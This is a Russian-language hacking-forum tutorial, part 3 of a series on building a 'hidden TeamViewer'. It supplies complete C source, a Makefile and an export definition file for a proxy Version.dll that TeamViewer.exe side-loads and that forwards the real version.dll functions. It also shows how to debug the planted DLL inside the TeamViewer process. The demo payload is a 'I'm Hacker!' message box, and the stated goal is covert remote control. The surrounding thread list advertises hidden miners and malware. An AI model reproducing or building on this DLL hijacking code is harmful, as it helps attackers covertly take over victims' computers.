Создаём скрытый TeamViewer #3

Admin

Original poster
Administrator
Сообщения
929
Реакции
735
Посетить сайт
Настало время наполнить нашу DLL кодом!
Для начала преобразуем проект Visual Studio под DLL, для этого изменим Makefile:
Код:
CFLAGS=/c /GS- /MT
LDFLAGS=/DLL /SUBSYSTEM:WINDOWS,"5.1"
NAME=
INCPATH=/I.
LIBPATH=
SRC=main.c
OBJ=main.obj
LIBS=
NAME=Version.dll

all:
    cl.exe $(CFLAGS) $(SRC) $(INCPATH)
    link.exe $(LDFLAGS) $(LIBS)  $(OBJ) /DEF:Version.def $(LIBPATH) /OUT:Version.dll


bdebug:
    cl.exe $(CFLAGS) /Zi $(SRC) $(INCPATH)
    link.exe $(LDFLAGS) $(LIBS)  $(OBJ) /DEF:Version.def $(LIBPATH) /DEBUG /OUT:Version.dll
Заметьте, появились новые флаги:

/DLL – говорит link.exe собирать динамическую библиотеку
/DEF:Version.def – в файле размещаются функции, которые будет экспортировать наша библиотека
Файл Version.def пока не имеет функций, это лишь только заготовка:
Код:
LIBRARY   Version.dll
main.c
Код:
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved )  // reserved
{
    // Perform actions based on the reason for calling.
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
           
            break;

        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
Нажимаем в F7 и наша DLL скомпилирована.
Начинаем новые эксперименты, подкидываем полученную Version.dll к распакованному TeamViewer (в папку tvfiles) и запускаем TeamViewer.exe.
Получаем ошибку при загрузке Version.dll
0254543ffc8bd73c80f86c6e0687dc71.png

Эти ошибки означают то что загрузчик не смог найти в экспорте Version.dll нужных функций. Удовлетворим потребность Windows загрузчика! Для этого:

  1. Объявляем функцию с таким же названием как в ошибке
  2. В теле функции получаем адрес оригинальной и вызываем её
Код который получает адрес оригинальной функции:
Код:
VOID *GetAPI(char *lib,char *name)
{
    HMODULE mod;
    CHAR path[MAX_PATH];
    CHAR fname[MAX_PATH];
    GetSystemDirectoryA(path,MAX_PATH);
    sprintf(fname,"%s\\%s",path,lib);
    mod=LoadLibraryA(fname);
    if (mod)
    {
        return GetProcAddress(mod,name);
    }
    return 0;
}
На вход функции GetAPI подается два параметра lib – имя библиотеки, name – имя функции. LoadLibraryA загружает динамическую библиотеку по абсолютному пути, тем самым мы избегаемhijacking.

Рассмотрим этот процесс по шагам:

  1. Запоминаем название функции из сообщения об ошибке (например, GetFileVersionInfoSizeW)
  2. Гуглим “GetFileVersionInfoSizeW msdn

    Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

  3. Смотрим в каком заголовочном файле (header) объявлена наша функция – Windows.h
  4. Вписываем слово GetFileVersionInfoSizeW в DllMain и нажимаем F12 (Go To Definition), тем самым переходя на ее объявление.
    Код:
    DWORD
    APIENTRY
    GetFileVersionInfoSizeW(
            __in        LPCWSTR lptstrFilename, /* Filename of version stamped file */
            __out_opt LPDWORD lpdwHandle       /* Information for use by GetFileVersionInfo */
            );
  5. Копируем объявление функции и вставляем в main.c
    Код:
    DWORD
    (APIENTRY
    *fGetFileVersionInfoSizeW)(
            __in        LPCWSTR lptstrFilename, /* Filename of version stamped file */
            __out_opt LPDWORD lpdwHandle       /* Information for use by GetFileVersionInfo */
            );
    
    
    DWORD
    APIENTRY
    GetFileVersionInfoSizeW(
            __in        LPCWSTR lptstrFilename, /* Filename of version stamped file */
            __out_opt LPDWORD lpdwHandle       /* Information for use by GetFileVersionInfo */
            )
    {
        fGetFileVersionInfoSizeW=GetAPI("VERSION.dll","GetFileVersionInfoSizeW");
        if (!fGetFileVersionInfoSizeW)
        {
            return 0;
        }
        return fGetFileVersionInfoSizeW(lptstrFilename,lpdwHandle);
    }
  6. Добавляем имя функции GetFileVersionInfoSizeW в Version.def
    Код:
    LIBRARY   Version.dll
    EXPORTS
        GetFileVersionInfoSizeW
  7. Компилируем по F7, и убеждаемся что нет ошибок.
  8. Повторяем до получения рабочей библиотеки =)
В результате данной работы вы получите следующий код:
Код:
#include <Windows.h>
#include <Winternl.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>


VOID *GetAPI(char *lib,char *name)
{
    HMODULE mod;
    CHAR path[MAX_PATH];
    CHAR fname[MAX_PATH];
    GetSystemDirectoryA(path,MAX_PATH);
    sprintf(fname,"%s\\%s",path,lib);
    mod=LoadLibraryA(fname);
    if (mod)
    {
        return GetProcAddress(mod,name);
    }
    return 0;
}


DWORD
(APIENTRY
*fGetFileVersionInfoSizeW)(
        __in        LPCWSTR lptstrFilename, /* Filename of version stamped file */
        __out_opt LPDWORD lpdwHandle       /* Information for use by GetFileVersionInfo */
        );


DWORD
APIENTRY
GetFileVersionInfoSizeW(
        __in        LPCWSTR lptstrFilename, /* Filename of version stamped file */
        __out_opt LPDWORD lpdwHandle       /* Information for use by GetFileVersionInfo */
        )
{
    fGetFileVersionInfoSizeW=GetAPI("VERSION.dll","GetFileVersionInfoSizeW");
    if (!fGetFileVersionInfoSizeW)
    {
        return 0;
    }
    return fGetFileVersionInfoSizeW(lptstrFilename,lpdwHandle);

}


BOOL
(APIENTRY
*fGetFileVersionInfoW)(
        __in                LPCWSTR lptstrFilename, /* Filename of version stamped file */
        __reserved          DWORD dwHandle,          /* Information from GetFileVersionSize */
        __in                DWORD dwLen,             /* Length of buffer for info */
        __out_bcount(dwLen) LPVOID lpData            /* Buffer to place the data structure */
        );

BOOL
APIENTRY
GetFileVersionInfoW(
        __in                LPCWSTR lptstrFilename, /* Filename of version stamped file */
        __reserved          DWORD dwHandle,          /* Information from GetFileVersionSize */
        __in                DWORD dwLen,             /* Length of buffer for info */
        __out_bcount(dwLen) LPVOID lpData            /* Buffer to place the data structure */
        )
{
    fGetFileVersionInfoW=GetAPI("VERSION.dll","GetFileVersionInfoW");
    if (!fGetFileVersionInfoW)
    {
        return 0;
    }
    return fGetFileVersionInfoW(lptstrFilename,dwHandle,dwLen,lpData);
}

BOOL
(APIENTRY
*fVerQueryValueW)(
        __in LPCVOID pBlock,
        __in LPCWSTR lpSubBlock,
        __deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer,
        __out PUINT puLen
        );

BOOL
APIENTRY
VerQueryValueW(
        __in LPCVOID pBlock,
        __in LPCWSTR lpSubBlock,
        __deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer,
        __out PUINT puLen
        )
{
    fVerQueryValueW=GetAPI("VERSION.dll","VerQueryValueW");
    if (!fVerQueryValueW)
    {
        return 0;
    }
    return fVerQueryValueW(pBlock,lpSubBlock,lplpBuffer,puLen);
}


BOOL
(APIENTRY
*fGetFileVersionInfoA)(
        __in                LPCSTR lptstrFilename, /* Filename of version stamped file */
        __reserved          DWORD dwHandle,          /* Information from GetFileVersionSize */
        __in                DWORD dwLen,             /* Length of buffer for info */
        __out_bcount(dwLen) LPVOID lpData            /* Buffer to place the data structure */
        );
BOOL
APIENTRY
GetFileVersionInfoA(
        __in                LPCSTR lptstrFilename, /* Filename of version stamped file */
        __reserved          DWORD dwHandle,          /* Information from GetFileVersionSize */
        __in                DWORD dwLen,             /* Length of buffer for info */
        __out_bcount(dwLen) LPVOID lpData            /* Buffer to place the data structure */
        )
{
    fGetFileVersionInfoA=GetAPI("VERSION.dll","GetFileVersionInfoA");
    if (!fGetFileVersionInfoA)
    {
        return 0;
    }
    return fGetFileVersionInfoA(lptstrFilename,dwHandle,dwLen,lpData);
}



BOOL (APIENTRY *fGetFileVersionInfoExW)(__in DWORD dwFlags,
                                    __in LPCWSTR lpwstrFilename,
                                    __reserved DWORD dwHandle,
                                    __in DWORD dwLen,
                                    __out_bcount(dwLen) LPVOID lpData);
BOOL APIENTRY GetFileVersionInfoExW(__in DWORD dwFlags,
                                    __in LPCWSTR lpwstrFilename,
                                    __reserved DWORD dwHandle,
                                    __in DWORD dwLen,
                                    __out_bcount(dwLen) LPVOID lpData)
{
    fGetFileVersionInfoExW=GetAPI("VERSION.dll","GetFileVersionInfoExW");
    if (!fGetFileVersionInfoExW)
    {
        return 0;
    }
    return fGetFileVersionInfoExW(dwFlags,lpwstrFilename,dwHandle,dwLen,lpData);
}


DWORD (APIENTRY *fGetFileVersionInfoSizeExA)(__in DWORD dwFlags, __in LPCSTR lpwstrFilename, __out LPDWORD lpdwHandle);
DWORD APIENTRY GetFileVersionInfoSizeExA(__in DWORD dwFlags, __in LPCSTR lpwstrFilename, __out LPDWORD lpdwHandle)
{
    fGetFileVersionInfoSizeExA=GetAPI("VERSION.dll","GetFileVersionInfoSizeExA");
    if (!fGetFileVersionInfoSizeExA)
    {
        return 0;
    }
    return fGetFileVersionInfoSizeExA(dwFlags,lpwstrFilename,lpdwHandle);

}

DWORD (APIENTRY *fGetFileVersionInfoSizeExW)(__in DWORD dwFlags, __in LPCWSTR lpwstrFilename, __out LPDWORD lpdwHandle);
DWORD APIENTRY GetFileVersionInfoSizeExW(__in DWORD dwFlags, __in LPCWSTR lpwstrFilename, __out LPDWORD lpdwHandle)
{
    fGetFileVersionInfoSizeExW=GetAPI("VERSION.dll","GetFileVersionInfoSizeExW");
    if (!fGetFileVersionInfoSizeExW)
    {
        return 0;
    }
    return fGetFileVersionInfoSizeExW(dwFlags,lpwstrFilename,lpdwHandle);
}


DWORD
(APIENTRY
*fGetFileVersionInfoSizeA)(
        __in        LPCSTR lptstrFilename, /* Filename of version stamped file */
        __out_opt LPDWORD lpdwHandle       /* Information for use by GetFileVersionInfo */
        );
DWORD
APIENTRY
GetFileVersionInfoSizeA(
        __in        LPCSTR lptstrFilename, /* Filename of version stamped file */
        __out_opt LPDWORD lpdwHandle       /* Information for use by GetFileVersionInfo */
        )
{
    fGetFileVersionInfoSizeA=GetAPI("VERSION.dll","GetFileVersionInfoSizeA");
    if (!fGetFileVersionInfoSizeA)
    {
        return 0;
    }
    return fGetFileVersionInfoSizeA(lptstrFilename,lpdwHandle);
}


BOOL
(APIENTRY
*fVerQueryValueA)(
        __in LPCVOID pBlock,
        __in LPCSTR lpSubBlock,
        __deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer,
        __out PUINT puLen
        );

BOOL
APIENTRY
VerQueryValueA(
        __in LPCVOID pBlock,
        __in LPCSTR lpSubBlock,
        __deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer,
        __out PUINT puLen
        )
{
    fVerQueryValueA=GetAPI("VERSION.dll","VerQueryValueA");
    if (!fVerQueryValueA)
    {
        return 0;
    }
    return fVerQueryValueA(pBlock,lpSubBlock,lplpBuffer,puLen);
}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved )  // reserved
{
   
    // Perform actions based on the reason for calling.
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(0,"I'm Hacker!","Hi",0);
            break;

        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
В DllMain я добавил вывод сообщения – MessageBoxA(0,”I’m Hacker! ufolabs.pro”,”Hi”,0), которое будет отображаться при успешной загрузке Version.dll

Version.def
Код:
LIBRARY   Version.dll
EXPORTS
    GetFileVersionInfoSizeW
    GetFileVersionInfoW
    VerQueryValueW
    VerQueryValueA
    GetFileVersionInfoExW
    GetFileVersionInfoA
    GetFileVersionInfoSizeA
    GetFileVersionInfoSizeExW
    GetFileVersionInfoSizeExA

Makefile
Код:
CFLAGS=/c /GS- /MT
LDFLAGS=/DLL /SUBSYSTEM:WINDOWS,"5.1"
NAME=
INCPATH=/I.
LIBPATH=
SRC=main.c
OBJ=main.obj
LIBS=user32.lib
NAME=Version.dll

all:
    cl.exe $(CFLAGS) $(SRC) $(INCPATH)
    link.exe $(LDFLAGS) $(LIBS)  $(OBJ) /DEF:Version.def $(LIBPATH) /OUT:Version.dll
    copy Version.dll ..\..\tvfiles\Version.dll


bdebug:
    cl.exe $(CFLAGS) /Zi $(SRC) $(INCPATH)
    link.exe $(LDFLAGS) $(LIBS)  $(OBJ) /DEF:Version.def $(LIBPATH) /DEBUG /OUT:Version.dll
    copy Version.dll ..\..\tvfiles\Version.dll
Компилируем и убеждаемся что у Version.dll появился экспорт. Для этого переходим в Far к Version.dll и нажимаем Alt+F4 -> Enter (hex отображение) -> F8 -> F9 (просмотр экспорта) И увидим в Hiew:
918692cac00b4795a443cb4ed1015cf4.png

Забрасываем Version.dll в tvfiles, запускаем TeamViewer.exe и видим сообщение:
7727226eb24050cdb1d10ea93252f9aa.png

После нажатия OKей, ошибок c экспортом больше нет, TeamViewer запустился. Это означает что мы подменили функции корректно.

Настраиваем отладку
Для удобной разработки кода в Version.dll нужно настроить отладку в Visual Studio, для этого размещаем распакованный tvfiles рядом с каталогом проекта tv, и в настройках студии прописываем путь до файла TeamViewer.exe
44b2c601f89165be78f09e2afeb90637.png

При запуске студия скажет, что не нашла символы pdb, и спросит нужно ли исполнять файл, выбираем Yes, и можно поставить галочку что бы окно больше не появлялось.

Теперь мы можем отлаживать код внутри процесса TeamViewer.exe, не правда ли удобно?
e00a725a3af07fc02d0d36af7680c180.png
 
  • Like
Реакции: NickelBlack
E

ERMAG

я так понял хук можно и на RMS е проделать?
 
E

ERMAG

да ещё забыл дописать не проще бы эту тему в 3 поста уместить а не создавать 3 темы чтоб не рыскать по всему форуму следующую часть ?или хоты бы под темой разместить ссылки на другие части чтоб быстрее переходить на другую чать ?
 
Название темы
Автор Заголовок Раздел Ответы Дата
Admin Создаём скрытый TeamViewer #2 Полезные статьи 0
Admin Создаём скрытый TeamViewer #1 Полезные статьи 0
Gumanoid Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА Интересно Создаём ВК без имени и фамилии Полезные статьи 5
kdroshev Создаём свою криптовалюту - Udemy (2018) Другое 0
Forevonly Создаём полиалфавитный шифр на Python С/C++ 1
K Создаём свой ХАЙП проект Полезные статьи 11
Elesh Создаём музыкального бота ВКонтакте СИ/Фишинг/Мошенничество 4
AngelOfLove Создаём мигающий текст без таймера [C#] С/C++ 4
bazarrock Интересно Как просто начать скрытый майнинг Способы заработка 0
Sherlock_Holmes Куплю Куплю скрытый майнер Куплю/Обменяю 2
Admin XMR / XMO - Miner (скрытый майнер) v1.0 BY MR. MORFEY Spam/DDOS/Malware 2
АнАлЬнАя ЧуПаКаБрА Способ как сделать неубиваемый процесс{скрытый} Spam/DDOS/Malware 1
F Бесплатный скрытый майнер Monero+Zcash Софт для работы с текстом/Другой софт 83
F Нужен скрытый майнер Вопросы и интересы 4
Admin Как из мобильного телефона делают скрытый радиомикрофон жучок? Полезные статьи 0
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0

Название темы